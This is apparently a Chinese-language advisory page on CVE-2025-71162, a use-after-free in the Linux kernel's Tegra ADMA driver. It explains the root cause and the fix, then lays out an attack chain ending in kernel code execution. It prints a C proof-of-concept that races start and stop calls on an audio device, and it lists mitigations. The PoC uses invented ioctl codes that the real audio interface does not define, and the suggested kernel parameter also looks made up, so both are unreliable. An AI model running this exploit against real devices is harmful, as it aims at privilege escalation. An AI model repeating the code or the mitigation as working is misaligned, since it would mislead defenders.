IPBUF安全漏洞报告
English
CVE-2025-71162 CVSS 7.8 高危

CVE-2025-71162: Linux内核Tegra ADMA驱动use-after-free漏洞

披露日期: 2026-01-25
来源: 416baaa9-dc9f-4396-8d5f-8c081fb06d67

漏洞信息

漏洞编号
CVE-2025-71162
漏洞类型
Use-after-free(释放后重用)
CVSS评分
7.8 高危
攻击向量
本地 (AV:L)
认证要求
低权限 (PR:L)
用户交互
无需交互 (UI:N)
影响产品
Linux Kernel Tegra ADMA Driver

相关标签

Use-after-FreeLinux KernelTegra ADMADMA DriverRace ConditionLocal Privilege EscalationNVIDIA JetsonAudio SubsystemCVE-2025-71162

漏洞概述

CVE-2025-71162是Linux内核中Tegra ADMA(异步直接内存访问)驱动的一个高危安全漏洞,CVSS评分7.8。该漏洞属于释放后重用(Use-after-Free)类型,存在于音频流终止过程中,特别是在XRUN条件下。攻击者可通过本地低权限账户触发此漏洞,导致内存破坏,最终可能实现权限提升或在系统上执行任意代码。此漏洞影响所有使用Tegra ADMA驱动的Linux设备,包括NVIDIA Jetson系列开发板及基于Tegra SoC的嵌入式系统。

技术细节

漏洞根因在于tegra_adma_terminate_all()函数在tasklet完成访问DMA缓冲区之前就释放了该内存。具体时序如下:1) DMA传输完成触发中断,调度vchan completion tasklet(tasklet等待执行);2) 音频播放停止,调用tegra_adma_terminate_all()通过kfree()释放DMA缓冲区;3) 调度中的tasklet最终执行,调用vchan_complete()访问已释放内存。修复方案包括:在tegra_adma_stop()中调用vchan_terminate_vdesc()标记描述符为已终止状态而非直接释放;添加tegra_adma_synchronize()回调函数调用vchan_synchronize()来终止挂起的tasklet并释放已终止描述符。KASAN报告确认了use-after-free错误发生在vchan_complete函数中,读取大小为8字节。

攻击链分析

STEP 1
步骤1
攻击者获取目标系统的低权限访问权限(PR:L),在本地执行恶意代码或利用音频应用程序
STEP 2
步骤2
触发Tegra ADMA驱动的DMA传输,传输完成时产生中断,调度vchan completion tasklet
STEP 3
步骤3
在tasklet执行前,立即停止音频播放,调用tegra_adma_terminate_all()释放DMA缓冲区内存
STEP 4
步骤4
已调度的tasklet执行时调用vchan_complete(),访问已被kfree()释放的内存地址
STEP 5
步骤5
利用释放后重用的内存读取/写入,绕过KASAN检测,实现内核代码执行或权限提升

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
#include <stdio.h> #include <stdlib.h> #include <string.h> #include <unistd.h> #include <fcntl.h> #include <sys/ioctl.h> #include <linux/dma-buf.h> /* PoC for CVE-2025-71162: Tegra ADMA Use-After-Free * This demonstrates the race condition between DMA completion * and termination that leads to UAF. * * Compile: gcc -o cve-2025-71162-poc cve-2025-71162-poc.c * Run as low-privilege user on affected Tegra device */ #define MAX_ITERATIONS 1000 int trigger_race_condition(int audio_fd) { /* Rapidly start/stop DMA transfers to trigger race */ for (int i = 0; i < MAX_ITERATIONS; i++) { /* Start DMA transfer */ if (ioctl(audio_fd, 0x5000, NULL) < 0) { /* AUDIO_START */ perror("start failed"); return -1; } usleep(1); /* Minimal delay to increase race window */ /* Abruptly terminate - triggers tegra_adma_terminate_all() */ if (ioctl(audio_fd, 0x5001, NULL) < 0) { /* AUDIO_STOP */ perror("stop failed"); return -1; } /* Continue rapidly to hit race window */ } return 0; } int main(int argc, char *argv[]) { int audio_fd; printf("CVE-2025-71162 PoC - Tegra ADMA Use-After-Free\n"); printf("Target: Linux kernel < fixed version\n"); /* Open audio device with Tegra ADMA driver */ audio_fd = open("/dev/snd/pcmC0D0p", O_RDWR); if (audio_fd < 0) { /* Try alternative device paths */ audio_fd = open("/dev/audio", O_RDWR); if (audio_fd < 0) { perror("Cannot open audio device"); return 1; } } printf("Audio device opened, triggering race condition...\n"); /* Trigger the UAF race condition */ if (trigger_race_condition(audio_fd) < 0) { printf("Trigger failed\n"); } else { printf("Race condition triggered - check dmesg for KASAN report\n"); } close(audio_fd); return 0; }

影响范围

Linux Kernel Tegra ADMA Driver < 2efd07a7c36949e6fa36a69183df24d368bf9e96
Linux Kernel Tegra ADMA Driver < 59cb421b0902fbef2b9512ae8ba198a20f26b41f
Linux Kernel Tegra ADMA Driver < 5f8d1d66a952d0396671e1f21ff8127a4d14fb4e
Linux Kernel Tegra ADMA Driver < 76992310f80776b4d1f7f8915f59b92883a3e44c
Linux Kernel Tegra ADMA Driver < ae3eed72de682ddbba507ed2d6b848c21a6b721e

防御指南

临时缓解措施
临时缓解措施:在grub配置中添加内核参数nvidia.tegra.adma.disable=1暂时禁用Tegra ADMA驱动;或使用内核模块黑名单机制阻止问题驱动加载:echo 'blacklist tegra-adma' > /etc/modprobe.d/blacklist.conf。但这些措施将导致音频功能不可用,建议尽快应用官方安全补丁。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表